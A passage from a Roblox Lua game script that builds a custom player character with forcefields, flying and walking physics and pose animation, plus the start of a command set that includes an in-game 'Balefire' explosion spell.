  2775.         bodyVelocity.maxForce = Vector3.new(0, 0, 0)
  2776.         bodyVelocity.velocity = Vector3.new(0, 0, 0)
  2777.         torsoLight = Instance.new("PointLight", torso)
  2778.         torsoLight.Brightness = 0.4
  2779.         torsoLight.Color = Color3.new(1, 1, 1)
  2780.         torsoLight.Range = 16
  2781.         torsoLight.Shadows = true
  2782.         local ff1, ff2, ff3, ff4, ff5, ff6, ff7, ff8, ff9 = Instance.new("ForceField", head), Instance.new("ForceField", leftArm), Instance.new("ForceField", leftLeg), Instance.new("ForceField", rightArm), Instance.new("ForceField", rightLeg), Instance.new("ForceField", torso), Instance.new("ForceField", wildcardHandle), Instance.new("ForceField", feetPart), Instance.new("ForceField", rootPart)
  2783.         local forcefields = {[ff1] = head, [ff2] = leftArm, [ff3] = leftLeg, [ff4] = rightArm, [ff5] = rightLeg, [ff6] = torso, [ff7] = wildcardHandle, [ff8] = feetPart, [ff9] = rootPart}
  2784.         local objects = {[humanoid] = true, [head] = true, [leftArm] = true, [leftLeg] = true, [rightArm] = true, [rightLeg] = true, [torso] = true, [rootPart] = true, [rootJoint] = true, [soundFreeFalling] = true, [soundGettingUp] = true, [soundRunning] = true, [leftHip] = true, [leftShoulder] = true, [rightHip] = true, [rightShoulder] = true, [neck] = true, [feetPart] = true, [feetWeld] = true, [feetTouchInterest] = true, [bodyGyro] = true, [bodyVelocity] = true, [ff1] = true, [ff2] = true, [ff3] = true, [ff4] = true, [ff5] = true, [ff6] = true, [ff7] = true, [ff8] = true, [ff9] = true}    
  2785.         local tshirtUrl = appearance.tshirt
  2786.         if tshirtUrl then
  2787.             local tshirt = Instance.new("Decal", torso)
  2788.             tshirt.Name = "roblox"
  2789.             tshirt.Texture = tshirtUrl
  2790.             objects[tshirt] = true
  2791.         end
  2792.         for _, template in ipairs(appearance.characterObjects) do
  2793.             local object = template:Clone()
  2794.             local newObjects = {object}
  2795.             for _, object in ipairs(newObjects) do
  2796.                 objects[object] = true
  2797.                 for _, child in ipairs(object:GetChildren()) do
  2798.                     table.insert(newObjects, child)
  2799.                 end            
  2800.             end
  2801.             if object:IsA("BodyColors") then
  2802.                 head.BrickColor = object.HeadColor
  2803.                 leftArm.BrickColor = object.LeftArmColor
  2804.                 leftLeg.BrickColor = object.LeftLegColor
  2805.                 rightArm.BrickColor = object.RightArmColor
  2806.                 rightLeg.BrickColor = object.RightLegColor
  2807.                 torso.BrickColor = object.TorsoColor
  2808.             elseif object:IsA("Hat") then
  2809.                 local handle = object:FindFirstChild("Handle")
  2810.                 if handle and handle:IsA("BasePart") then
  2811.                     local weld = Instance.new("Weld", head)
  2812.                     weld.C0 = CFrame.new(0, 0.5, 0)
  2813.                     local attachmentPos = object.AttachmentPos
  2814.                     local attachmentRight = object.AttachmentRight
  2815.                     local attachmentUp = object.AttachmentUp
  2816.                     local attachmentForward = object.AttachmentForward
  2817.                     weld.C1 = CFrame.new(attachmentPos.X, attachmentPos.Y, attachmentPos.Z,
  2818.                                          attachmentRight.X, attachmentUp.X, -attachmentForward.X,
  2819.                                          attachmentRight.Y, attachmentUp.Y, -attachmentForward.Y,
  2820.                                          attachmentRight.Z, attachmentUp.Z, -attachmentForward.Z)
  2821.                     weld.Name = "HeadWeld"
  2822.                     weld.Part0 = head
  2823.                     weld.Part1 = handle
  2824.                     handle.Parent = model
  2825.                     local antiGravity = Instance.new("BodyForce", handle)
  2826.                     antiGravity.force = Vector3.new(0, handle:GetMass() * 196.2, 0)
  2827.                     objects[object] = false
  2828.                     object.Parent = nil
  2829.                     objects[weld] = true
  2830.                 end
  2831.             end
  2832.             object.Parent = model
  2833.         end
  2834.         local facePresent = false
  2835.         local headMeshPresent = false
  2836.         for _, template in ipairs(appearance.headObjects) do
  2837.             local object = template:Clone()
  2838.             local newObjects = {object}
  2839.             for _, object in ipairs(newObjects) do
  2840.                 objects[object] = true
  2841.                 for _, child in ipairs(object:GetChildren()) do
  2842.                     table.insert(newObjects, child)
  2843.                 end            
  2844.             end
  2845.             if object:IsA("DataModelMesh") then
  2846.                 headMeshPresent = true
  2847.             elseif object:IsA("Decal") then
  2848.                 facePresent = true
  2849.             end
  2850.             object.Parent = head
  2851.         end
  2852.         if not facePresent then
  2853.             local face = Instance.new("Decal", head)
  2854.             face.Texture = "rbxasset://textures/face.png"
  2855.             objects[face] = true
  2856.         end
  2857.         if not headMeshPresent then
  2858.             local headMesh = Instance.new("SpecialMesh", head)
  2859.             headMesh.Scale = Vector3.new(1.25, 1.25, 1.25)
  2860.             objects[headMesh] = true
  2861.         end
  2862.         table.insert(connections, model.DescendantAdded:connect(function(object)
  2863.             local success, is_localscript = pcall(Game.IsA, object, "LocalScript")
  2864.             if success and is_localscript then
  2865.                 pcall(Utility.SetProperty, object, "Disabled", true)
  2866.                 local changed_connection = pcall(object.Changed.connect, object.Changed, function(property)
  2867.                     if property == "Disabled" and not object.Disabled then
  2868.                         pcall(Utility.SetProperty, object, "Disabled", true)
  2869.                         object:Destroy()
  2870.                     end
  2871.                 end)
  2872.             end
  2873.             if not objects[object] then
  2874.                 object:Destroy()
  2875.             end
  2876.         end))
  2877.         model.Parent = Workspace
  2878.         Player.Character = model
  2879.         Camera.CameraSubject = humanoid
  2880.         Camera.CameraType = "Track"
  2881.         Camera.CoordinateFrame = cameraCFrame
  2882.         local IsStanding
  2883.         local RegenerateHealth
  2884.         local ResetCharacter
  2885.         function IsStanding()
  2886.             return not not next(feetTouching)
  2887.         end
  2888.         function RegenerateHealth()
  2889.             if humanoid.Health < 1 then
  2890.                 humanoid.Health = 100
  2891.             elseif not regeneratingHealth then
  2892.                 regeneratingHealth = true
  2893.                 local elapsedTime = wait(1)
  2894.                 regeneratingHealth = false
  2895.                 if humanoid.Health < 100 then
  2896.                     humanoid.Health = math.min(humanoid.Health + elapsedTime, 100)
  2897.                 end
  2898.             end
  2899.         end
  2900.         function ResetCharacter()
  2901.             for index, connection in ipairs(connections) do
  2902.                 connection:disconnect()
  2903.             end
  2904.             active = false
  2905.         end
  2906.         table.insert(connections, model.AncestryChanged:connect(ResetCharacter))
  2907.         table.insert(connections, model.DescendantRemoving:connect(function(object)
  2908.             local parent = forcefields[object]
  2909.             if parent then
  2910.                 forcefields[object] = nil
  2911.                 local new_forcefield = Instance.new("ForceField")
  2912.                 forcefields[new_forcefield] = parent
  2913.                 objects[new_forcefield] = true
  2914.                 new_forcefield.Parent = parent
  2915.             elseif objects[object] then
  2916.                 ResetCharacter()
  2917.             end
  2918.         end))
  2919.         table.insert(connections, humanoid.HealthChanged:connect(RegenerateHealth))
  2920.         table.insert(connections, humanoid.Climbing:connect(function() pose = "Climbing" end))
  2921.         table.insert(connections, humanoid.FallingDown:connect(function(state)  pose = "FallingDown" end))
  2922.         table.insert(connections, humanoid.FreeFalling:connect(function(state) pose = "FreeFall" if state then soundFreeFalling:Play() else
  2923.  
  2924. soundFreeFalling:Pause() end end))
  2925.         table.insert(connections, humanoid.GettingUp:connect(function(state) pose = "GettingUp" if state then soundGettingUp:Play() else
  2926.  
  2927. soundGettingUp:Pause() end end))
  2928.         table.insert(connections, humanoid.PlatformStanding:connect(function() pose = "PlatformStanding" end))
  2929.         table.insert(connections, humanoid.Seated:connect(function() pose = "Seated" end))
  2930.         table.insert(connections, humanoid.Swimming:connect(function(speed) if speed > 0 then pose = "Swimming" else pose = "Standing" end end))
  2931.         local previousRootPartCFrame = rootPart.CFrame
  2932.         TaskScheduler.Start(function()
  2933.             while active do
  2934.                 local totalTime = TaskScheduler.GetCurrentTime()
  2935.                 local stepTime = 1 / 60
  2936.                 if not PlayerControl.characterEnabled then
  2937.                     ResetCharacter()
  2938.                     break
  2939.                 end
  2940.                 torsoLight.Brightness = 0.5 + 0.15 * math.sin(totalTime * 0.75 * math.pi)
  2941.                 local featherfallEnabled = PlayerControl.IsFeatherfallEnabled()
  2942.                 local rootPartCFrame = rootPart.CFrame
  2943.                 if not jumpDebounce and UserInterface:IsKeyDown(Enum.KeyCode.Space) then
  2944.                     if humanoid.Sit then
  2945.                         humanoid.Sit = false
  2946.                     end
  2947.                     if IsStanding() then
  2948.                         jumpDebounce = true
  2949.                         pose = "Jumping"
  2950.                         rootPart.Velocity = Vector3.new(rootPart.Velocity.X, 50, rootPart.Velocity.Z)
  2951.                         torso.Velocity = Vector3.new(torso.Velocity.X, 50, torso.Velocity.Z)                       
  2952.                         TaskScheduler.Schedule(1, function()
  2953.                             if pose == "Jumping" then
  2954.                                 pose = "FreeFall"
  2955.                             end
  2956.                             jumpDebounce = false
  2957.                             humanoid.Jump = false
  2958.                         end)
  2959.                     end
  2960.                 end
  2961.                 local cameraCFrame = Camera.CoordinateFrame
  2962.                 local cameraDirection = cameraCFrame.lookVector
  2963.                 if flying then
  2964.                     if PlayerControl.rolling then
  2965.                         local rootPartCFrame = rootPart.CFrame
  2966.                         local speed = (rootPartCFrame - rootPartCFrame.p):pointToObjectSpace(rootPart.Velocity).Y
  2967.                         local decay = 0.5 ^ stepTime
  2968.                         if math.abs(speed) <= 50 then
  2969.                             PlayerControl.rollingAngle = (((PlayerControl.rollingAngle + 0.5) % 1 - 0.5) * decay) % 1
  2970.                             PlayerControl.rollingOffset = PlayerControl.rollingOffset * decay
  2971.                         else
  2972.                             PlayerControl.rollingAngle = (PlayerControl.rollingAngle + stepTime * speed * PlayerControl.rollingSpeed) % 1
  2973.                             PlayerControl.rollingOffset = (PlayerControl.rollingOffset + PlayerControl.rollingMaxOffset * (1 / decay - 1)) * decay
  2974.                         end
  2975.                         rootJoint.C0 = (CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0) * CFrame.Angles(PlayerControl.rollingAngle * 2 * math.pi, 0, 0)) * CFrame.new(0, -PlayerControl.rollingOffset, 0)
  2976.                     else
  2977.                         rootJoint.C0 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0)
  2978.                         PlayerControl.rollingAngle = 0
  2979.                         PlayerControl.rollingOffset = 0
  2980.                     end
  2981.                     rightShoulder.MaxVelocity = 0.5
  2982.                     leftShoulder.MaxVelocity = 0.5
  2983.                     rightShoulder.DesiredAngle = 0
  2984.                     leftShoulder.DesiredAngle = 0
  2985.                     rightHip.DesiredAngle = 0
  2986.                     leftHip.DesiredAngle = 0
  2987.                     bodyGyro.D = 500
  2988.                     bodyGyro.P = 1e6
  2989.                     bodyGyro.maxTorque = Vector3.new(1e6, 1e6, 1e6)
  2990.                     bodyVelocity.P = 1250
  2991.                     bodyVelocity.maxForce = Vector3.new(1e6, 1e6, 1e6)
  2992.                     local movementRight = 0
  2993.                     local movementForward = 0
  2994.                     local movementUp = 0
  2995.                     if UserInterface:IsKeyDown(Enum.KeyCode.A) and not UserInterface:IsKeyDown(Enum.KeyCode.D) then
  2996.                         movementRight = -1
  2997.                     elseif UserInterface:IsKeyDown(Enum.KeyCode.D) then
  2998.                         movementRight = 1
  2999.                     end
  3000.                     if UserInterface:IsKeyDown(Enum.KeyCode.W) then
  3001.                         movementUp = 0.2
  3002.                         if not UserInterface:IsKeyDown(Enum.KeyCode.S) then
  3003.                             movementForward = -1
  3004.                         end
  3005.                     elseif UserInterface:IsKeyDown(Enum.KeyCode.S) then
  3006.                         movementForward = 1
  3007.                     end
  3008.                     local movement = PlayerControl.fly_acceleration * cameraCFrame:vectorToWorldSpace(Vector3.new(movementRight, movementUp, movementForward))
  3009.                     local previousMomentum = flyingMomentum
  3010.                     local previousTilt = flyingTilt
  3011.                     flyingMomentum = movement + flyingMomentum * (1 - PlayerControl.fly_acceleration / PlayerControl.fly_speed)
  3012.                     flyingTilt = ((flyingMomentum * Vector3.new(1, 0, 1)).unit:Cross((previousMomentum * Vector3.new(1, 0, 1)).unit)).Y
  3013.                     if flyingTilt ~= flyingTilt or flyingTilt == math.huge then
  3014.                         flyingTilt = 0
  3015.                     end
  3016.                     local absoluteTilt = math.abs(flyingTilt)
  3017.                     if absoluteTilt > 0.06 or absoluteTilt < 0.0001 then
  3018.                         if math.abs(previousTilt) > 0.0001 then
  3019.                             flyingTilt = previousTilt * 0.9
  3020.                         else
  3021.                             flyingTilt = 0
  3022.                         end
  3023.                     else
  3024.                         flyingTilt = previousTilt * 0.77 + flyingTilt * 0.25
  3025.                     end
  3026.                     previousTilt = flyingTilt
  3027.                     if flyingMomentum.magnitude < 0.1 then
  3028.                         flyingMomentum = Vector3.new(0, 0, 0)
  3029. --                      bodyGyro.cframe = cameraCFrame
  3030.                     else
  3031.                         local momentumOrientation = CFrame.new(Vector3.new(0, 0, 0), flyingMomentum)
  3032.                         local tiltOrientation = CFrame.Angles(0, 0, -20 * flyingTilt)
  3033.                         bodyGyro.cframe = momentumOrientation * tiltOrientation * CFrame.Angles(-0.5 * math.pi * math.min(flyingMomentum.magnitude / PlayerControl.fly_speed, 1), 0, 0)
  3034.                     end
  3035.                     bodyVelocity.velocity = flyingMomentum + Vector3.new(0, 0.15695775618683547, 0)
  3036.                     rootPart.Velocity = flyingMomentum
  3037.                     previousMomentum = flyingMomentum
  3038.                 else
  3039.                     rootJoint.C0 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0)
  3040.                     PlayerControl.rollingAngle = 0
  3041.                     PlayerControl.rollingOffset = 0
  3042.                     bodyGyro.D = 3250
  3043.                     bodyGyro.P = 400000
  3044.                     bodyVelocity.P = 5000
  3045.                     local cameraDirection = cameraCFrame.lookVector
  3046.                     local walkDirection = Vector3.new(0, 0, 0)
  3047.                     local walkSpeed = 16
  3048.                     if UserInterface:IsKeyDown(Enum.KeyCode.W) then
  3049.                         if UserInterface:IsKeyDown(Enum.KeyCode.A) then
  3050.                             walkDirection = Vector3.new(cameraDirection.X + cameraDirection.Z, 0, cameraDirection.Z - cameraDirection.X).unit
  3051.                         elseif UserInterface:IsKeyDown(Enum.KeyCode.D) then
  3052.                             walkDirection = Vector3.new(cameraDirection.X - cameraDirection.Z, 0, cameraDirection.Z + cameraDirection.X).unit
  3053.                         else
  3054.                             walkDirection = Vector3.new(cameraDirection.X, 0, cameraDirection.Z).unit
  3055.                         end
  3056.                     elseif UserInterface:IsKeyDown(Enum.KeyCode.S) then
  3057.                         if UserInterface:IsKeyDown(Enum.KeyCode.A) then
  3058.                             walkDirection = Vector3.new(-cameraDirection.X + cameraDirection.Z, 0, -cameraDirection.Z - cameraDirection.X).unit
  3059.                         elseif UserInterface:IsKeyDown(Enum.KeyCode.D) then
  3060.                             walkDirection = Vector3.new(-cameraDirection.X - cameraDirection.Z, 0, -cameraDirection.Z + cameraDirection.X).unit
  3061.                         else
  3062.                             walkDirection = Vector3.new(-cameraDirection.X, 0, -cameraDirection.Z).unit
  3063.                         end
  3064.                     elseif UserInterface:IsKeyDown(Enum.KeyCode.A) then
  3065.                         walkDirection = Vector3.new(cameraDirection.Z, 0, -cameraDirection.X).unit
  3066.                     elseif UserInterface:IsKeyDown(Enum.KeyCode.D) then
  3067.                         walkDirection = Vector3.new(-cameraDirection.Z, 0, cameraDirection.X).unit
  3068.                     else
  3069.                         walkSpeed = 0
  3070.                     end
  3071.                     if walkSpeed ~= previousWalkSpeed then
  3072.                         if walkSpeed > 0 then
  3073.                             soundRunning:Play()
  3074.                         else
  3075.                             soundRunning:Pause()
  3076.                         end
  3077.                     end
  3078.                     if walkSpeed > 0 then
  3079.                         if pose ~= "Jumping" then
  3080.                             if IsStanding() then
  3081.                                 pose = "Running"
  3082.                             else
  3083.                                 pose = "FreeFall"
  3084.                             end
  3085.                         end
  3086.                         bodyGyro.cframe = CFrame.new(Vector3.new(), walkDirection)
  3087.                         bodyGyro.maxTorque = Vector3.new(1000000000, 1000000000, 1000000000)
  3088.                         bodyVelocity.maxForce = Vector3.new(1000000, maxForceY, 1000000)
  3089.                     else
  3090.                         if pose ~= "Jumping" then
  3091.                             if IsStanding() then
  3092.                                 pose = "Standing"
  3093.                             else
  3094.                                 pose = "FreeFall"
  3095.                             end
  3096.                         end
  3097.                         -- TODO: find and fix bug that causes torso to rotate back to some angle
  3098.                         bodyGyro.maxTorque = Vector3.new(1000000000, 1000000000, 1000000000) -- Vector3.new(1000000000, 0, 1000000000)
  3099.                         if PlayerControl.pushable then
  3100.                             bodyVelocity.maxForce = Vector3.new(0, 0, 0)
  3101.                         else
  3102.                             bodyVelocity.maxForce = Vector3.new(1000000, 0, 1000000)
  3103.                         end
  3104.                     end
  3105.                     if featherfallEnabled then
  3106.                         local velocity = rootPart.Velocity
  3107.                         if velocity.Y > 50 then
  3108.                             rootPart.Velocity = Vector3.new(velocity.X, 50, velocity.Z)
  3109.                         elseif velocity.Y < -50 then
  3110.                             rootPart.Velocity = Vector3.new(velocity.X, -50, velocity.Z)
  3111.                         end
  3112.                         local distanceVector = rootPartCFrame.p - previousRootPartCFrame.p
  3113.                         local offsetX, offsetY, offsetZ = distanceVector.X, distanceVector.Y, distanceVector.Z
  3114.                         local MAX_MOVEMENT = 50 * 0.03333333507180214
  3115.                         if offsetX > MAX_MOVEMENT then
  3116.                             offsetX = MAX_MOVEMENT
  3117.                         elseif offsetX < -MAX_MOVEMENT then
  3118.                             offsetX = -MAX_MOVEMENT
  3119.                         end
  3120.                         if offsetY > MAX_MOVEMENT then
  3121.                             offsetY = MAX_MOVEMENT
  3122.                         elseif offsetY < -MAX_MOVEMENT then
  3123.                             offsetY = -MAX_MOVEMENT
  3124.                         end
  3125.                         if offsetZ > MAX_MOVEMENT then
  3126.                             offsetZ = MAX_MOVEMENT
  3127.                         elseif offsetZ < -MAX_MOVEMENT then
  3128.                             offsetZ = -MAX_MOVEMENT
  3129.                         end
  3130.                         local offset = Vector3.new(offsetX, offsetY, offsetZ)
  3131.                         if offset ~= distanceVector then
  3132.                             rootPartCFrame = previousRootPartCFrame + offset
  3133.                             --rootPart.CFrame = rootPartCFrame
  3134.                         end
  3135.                     end
  3136.                     local walkingVelocity = walkDirection * walkSpeed
  3137.                     bodyVelocity.velocity = walkingVelocity
  3138.                     if not jumpDebounce and math.abs(rootPart.Velocity.Y) <= 0.1 then
  3139.                         rootPart.Velocity = Vector3.new(walkingVelocity.X, rootPart.Velocity.Y, walkingVelocity.Z)
  3140.                     end
  3141.                     previousWalkSpeed = walkSpeed
  3142.                     if pose == "Jumping" or jumpDebounce then
  3143.                         rightShoulder.MaxVelocity = 0.5
  3144.                         leftShoulder.MaxVelocity = 0.5
  3145.                         rightShoulder.DesiredAngle = 3.14
  3146.                         leftShoulder.DesiredAngle = -3.14
  3147.                         rightHip.DesiredAngle = 0
  3148.                         leftHip.DesiredAngle = 0
  3149.                     elseif pose == "FreeFall" then
  3150.                         rightShoulder.MaxVelocity = 0.5
  3151.                         leftShoulder.MaxVelocity = 0.5
  3152.                         rightShoulder.DesiredAngle = 3.14
  3153.                         leftShoulder.DesiredAngle = -3.14
  3154.                         rightHip.DesiredAngle = 0
  3155.                         leftHip.DesiredAngle = 0
  3156.                     elseif pose == "Seated" then
  3157.                         rightShoulder.MaxVelocity = 0.15
  3158.                         leftShoulder.MaxVelocity = 0.15
  3159.                         rightShoulder.DesiredAngle = 3.14 / 2
  3160.                         leftShoulder.DesiredAngle = -3.14 / 2
  3161.                         rightHip.DesiredAngle = 3.14 / 2
  3162.                         leftHip.DesiredAngle = -3.14 / 2
  3163.                     else
  3164.                         local climbFudge = 0
  3165.                         local amplitude
  3166.                         local frequency
  3167.                         if pose == "Running" then
  3168.                             rightShoulder.MaxVelocity = 0.15
  3169.                             leftShoulder.MaxVelocity = 0.15
  3170.                             amplitude = 1
  3171.                             frequency = 9
  3172.                         elseif (pose == "Climbing") then
  3173.                             rightShoulder.MaxVelocity = 0.5
  3174.                             leftShoulder.MaxVelocity = 0.5
  3175.                             amplitude = 1
  3176.                             frequency = 9
  3177.                             climbFudge = 3.14
  3178.                         else
  3179.                             amplitude = 0.1
  3180.                             frequency = 1
  3181.                         end
  3182.                         local desiredAngle = amplitude * math.sin(totalTime * frequency)
  3183.                         rightShoulder.DesiredAngle = desiredAngle + climbFudge
  3184.                         leftShoulder.DesiredAngle = desiredAngle - climbFudge
  3185.                         rightHip.DesiredAngle = -desiredAngle
  3186.                         leftHip.DesiredAngle = -desiredAngle
  3187.                     end
  3188.                 end
  3189.                 previousRootPartCFrame = rootPartCFrame
  3190.                 RunService.RenderStepped:wait()
  3191.             end
  3192.             if model.Parent ~= nil then
  3193.                 model.Parent = nil
  3194.             end
  3195.             PlayerControl.CreateCharacter()
  3196.         end)
  3197.         humanoid.Health = 100
  3198.         character = model
  3199.         chatAdornee = head
  3200.     elseif characterMode == "pyramid" then
  3201.         if PlayerControl.characterEnabled then
  3202.             Camera.CameraType = "Fixed"
  3203.             PyramidCharacter.camera_distance = (Camera.Focus.p - Camera.CoordinateFrame.p).magnitude
  3204.             PyramidCharacter.camera_position = Camera.Focus.p
  3205.             PyramidCharacter.Teleport(Camera.Focus.p)
  3206.             PyramidCharacter.visible = true
  3207.             Player.Character = nil
  3208.         else
  3209.             PyramidCharacter.visible = false
  3210.         end
  3211.     end
  3212. end
  3213. function PlayerControl.GetCharacter()
  3214.     return character
  3215. end
  3216. function PlayerControl.GetHead()
  3217.     local characterMode = PlayerControl.characterMode
  3218.     if characterMode == "normal" then
  3219.         return head
  3220.     elseif characterMode == "pyramid" then
  3221.         return PyramidCharacter.core
  3222.     end
  3223. end
  3224. function PlayerControl.GetHumanoid()
  3225.     return humanoid
  3226. end
  3227. function PlayerControl.GetRootPart()
  3228.     return rootPart
  3229. end
  3230. function PlayerControl.GetTorso()
  3231.     return torso
  3232. end
  3233. function PlayerControl.IsEnabled()
  3234.     return PlayerControl.characterEnabled
  3235. end
  3236. function PlayerControl.IsFeatherfallEnabled()
  3237.     return PlayerControl.featherfallEnabled
  3238. end
  3239. function PlayerControl.IsPushable()
  3240.     return PlayerControl.pushable
  3241. end
  3242. function PlayerControl.IsRolling()
  3243.     return PlayerControl.rolling
  3244. end
  3245. function PlayerControl.ResetCharacter()
  3246.     if character and character.Parent then
  3247.         character.Parent = nil
  3248.     end
  3249.     PyramidCharacter.visible = false
  3250. end
  3251. function PlayerControl.SetEnabled(state, no_animation)
  3252.     state = not not state
  3253.     if state ~= PlayerControl.characterEnabled then
  3254.         PlayerControl.characterEnabled = state
  3255.         local characterMode = PlayerControl.characterMode
  3256.         if characterMode == "normal" then
  3257.             local torso = PlayerControl.GetRootPart()
  3258.             local rootPart = PlayerControl.GetRootPart()
  3259.             if rootPart then
  3260.                 if PlayerControl.characterEnabled then
  3261.                     local torso_cframe = Camera.Focus:toWorldSpace(PlayerControl.hide_torso_object_cframe)
  3262.                     PlayerControl.torso_cframe = torso_cframe
  3263.                     torso.CFrame = torso_cframe
  3264.                     rootPart.CFrame = torso_cframe
  3265.                 else
  3266.                     PlayerControl.hide_torso_object_cframe = Camera.Focus:toObjectSpace(rootPart.CFrame)
  3267.                 end
  3268.             else
  3269.                 PlayerControl.torso_cframe = Camera.Focus
  3270.             end
  3271.             if PlayerControl.characterEnabled then
  3272.                 PlayerControl.CreateCharacter()
  3273.                 RunService.Stepped:wait()
  3274.                 coroutine.yield()
  3275.                 if not no_animation then
  3276.                     GraphicalEffects.CrystalRing({base_part = PlayerControl.GetTorso(), crystal_color = BrickColor.new("Institutional white"), float_duration = 2})
  3277.                 end    
  3278.             else
  3279.                 Player.Character = nil
  3280.                 Camera.CameraType = "Fixed"
  3281.                 if not no_animation then
  3282.                     GraphicalEffects.CrystalRing({position = PlayerControl.GetTorso().Position, crystal_color = BrickColor.new("Institutional white"), float_duration = 2})
  3283.                 end
  3284.             end
  3285.         else
  3286.             if state then
  3287.                 PlayerControl.CreateCharacter()
  3288.                 RunService.Stepped:wait()
  3289.                 coroutine.yield()
  3290.                 if not no_animation then
  3291.                     GraphicalEffects.CrystalRing({base_part = PyramidCharacter.core, crystal_color = BrickColor.new("Institutional white"), float_duration = 2})
  3292.                 end
  3293.             else
  3294.                 PyramidCharacter.visible = false
  3295.                 if not no_animation then
  3296.                     GraphicalEffects.CrystalRing({position = PyramidCharacter.core.Position, crystal_color = BrickColor.new("Institutional white"), float_duration = 2})
  3297.                 end
  3298.             end
  3299.         end
  3300.     end
  3301. end
  3302. function PlayerControl.SetFeatherfallEnabled(state)
  3303.     state = not not state
  3304.     if state ~= PlayerControl.featherfallEnabled then
  3305.         PlayerControl.featherfallEnabled = state
  3306.         if state then
  3307.             Logger.print("Info", "Featherfall enabled in PlayerControl")
  3308.         else
  3309.             Logger.print("Info", "Featherfall disabled in PlayerControl")
  3310.         end
  3311.     end
  3312. end
  3313. function PlayerControl.SetPushable(state)
  3314.     state = not not state
  3315.     if state ~= PlayerControl.pushable then
  3316.         PlayerControl.pushable = state
  3317.         if state then
  3318.             Logger.print("Info", "Pushing enabled in PlayerControl")
  3319.         else
  3320.             Logger.print("Info", "Pushing disabled in PlayerControl")
  3321.         end
  3322.     end
  3323. end
  3324. function PlayerControl.SetRolling(state)
  3325.     state = not not state
  3326.     if state ~= PlayerControl.rolling then
  3327.         PlayerControl.rolling = state
  3328.         if state then
  3329.             Logger.print("Info", "Rolling fly mode enabled in PlayerControl")
  3330.         else
  3331.             Logger.print("Info", "Rolling fly mode disabled in PlayerControl")
  3332.         end
  3333.     end
  3334. end
  3335. function PlayerControl.StartFlying()
  3336.     PlayerControl.fly_speed = PlayerControl.fly_basespeed
  3337.     if torso then
  3338.         flyingMomentum = torso.Velocity + torso.CFrame.lookVector * 3 + Vector3.new(0, 10, 0)
  3339.     else
  3340.         flyingMomentum = Vector3.new()
  3341.     end
  3342.     flyingTilt = 0
  3343.     flying = true
  3344. end
  3345. function PlayerControl.StopFlying()
  3346.     if bodyGyro.cframe then
  3347.         local lookVector = bodyGyro.cframe.lookVector
  3348.         if lookVector.X ~= 0 or lookVector.Z ~= 0 then
  3349.             bodyGyro.cframe = CFrame.new(Vector3.new(), Vector3.new(lookVector.X, 0, lookVector.Z))
  3350.         end
  3351.     end
  3352.     flying = false
  3353. end
  3354. local previousTime = 0
  3355.  
  3356. ControllerCommands = {};
  3357.  
  3358. ControllerCommands = {};
  3359.  
  3360. ControllerCommands.BALEFIRE_SPEED = 40
  3361. function ControllerCommands.BalefireAtMouse()
  3362.         local head = chatAdornee
  3363.         if head then
  3364.                 local target = Mouse.Hit.p
  3365.                 local origin = head.Position
  3366.                 local direction = (target - origin).unit
  3367.                 local explosionCount = 0
  3368.                 local animation_frame = 0
  3369.                 local magic_circle_position = origin + direction * 4
  3370.                 local magic_circle_cframe = CFrame.new(magic_circle_position, magic_circle_position + direction)
  3371.                 local magic_circle_part = Instance.new("Part")
  3372.                 local magic_circle_mesh = Instance.new("BlockMesh", magic_circle_part)
  3373.                 local magic_circle_light = Instance.new("PointLight", magic_circle_part)
  3374.                 local magic_circle_decal_back = Instance.new("Decal", magic_circle_part)
  3375.                 local magic_circle_decal_front = Instance.new("Decal", magic_circle_part)
  3376.                 magic_circle_part.Anchored = true
  3377.                 magic_circle_part.Archivable = false
  3378.                 magic_circle_part.BottomSurface = "Smooth"
  3379.                 magic_circle_part.CanCollide = false
  3380.                 magic_circle_part.CFrame = magic_circle_cframe
  3381.                 magic_circle_part.FormFactor = "Custom"
  3382.                 magic_circle_part.Locked = true
  3383.                 magic_circle_part.Size = Vector3.new(0.2, 0.2, 0.2)
  3384.                 magic_circle_part.TopSurface = "Smooth"
  3385.                 magic_circle_part.Transparency = 1
  3386.                 magic_circle_mesh.Scale = Vector3.new(60, 60, 0)
  3387.                 magic_circle_light.Color = Color3.new(1, 0.5, 1)
  3388.                 magic_circle_light.Range = 16
  3389.                 magic_circle_light.Shadows = true
  3390.                 magic_circle_decal_back.Face = "Back"
  3391.                 magic_circle_decal_back.Texture = "rbxassetid://122610943"
  3392.                 magic_circle_decal_front.Face = "Front"
  3393.                 magic_circle_decal_front.Texture = "rbxassetid://122610943"
  3394.                 local function NextExplosion()
  3395.                         explosionCount = explosionCount + 1
  3396.                         Instance.new("Explosion", Workspace).Position = origin + direction * (explosionCount * 8 + 4)
  3397.                 end
  3398.                 local function AnimateMagicCircle()
  3399.                         animation_frame = animation_frame + 1
  3400.                         local transparency = (animation_frame / 40) ^ 3
  3401.                         if animation_frame == 40 then
  3402.                                 pcall(Game.Destroy, magic_circle_part)
  3403.                         else
  3404.                                 if magic_circle_part.Parent ~= Workspace then
  3405.                                         pcall(Utility.SetProperty, magic_circle_part, "Parent", Workspace)
  3406.                                 end
  3407.                                 head = PlayerControl.GetHead()
  3408.                                 if head then
  3409.                                         magic_circle_position = head.Position + direction * 4
  3410.                                 end
  3411.                                 magic_circle_part.CFrame = CFrame.new(magic_circle_position, magic_circle_position + direction) * CFrame.Angles(0, 0,
  3412.  
  3413. math.tau * animation_frame / 40 * 1.5)
  3414.                                 magic_circle_light.Brightness = 1 - transparency
  3415.                                 magic_circle_decal_back.Transparency = transparency
  3416.                                 magic_circle_decal_front.Transparency = transparency
  3417.                         end
  3418.                 end
  3419.                 magic_circle_part.Parent = Workspace
  3420.                 for i = 1, 40 do
  3421.                         Delay((i - 1) / ControllerCommands.BALEFIRE_SPEED, NextExplosion)
  3422.                         Delay((i - 1) / 30, AnimateMagicCircle)
  3423.                 end
  3424.                 for i = 1, 20 do
  3425.                         Delay((i - 1) / ControllerCommands.BALEFIRE_SPEED, NextExplosion)
  3426.                 end
  3427.         end
  3428. end
  3429. function ControllerCommands.ControlRandomDummy()
  3430.         local dummies = {}
  3431.         local numDummies = 0
  3432.         for _, character in ipairs(Workspace:GetChildren()) do
  3433.                 local name = tostring(character)
  3434.                 if name == "???" or name == "Dummy" then
  3435.                         local head, humanoid
  3436.                         for _, child in ipairs(character:GetChildren()) do
  3437.                                 local className = child.ClassName
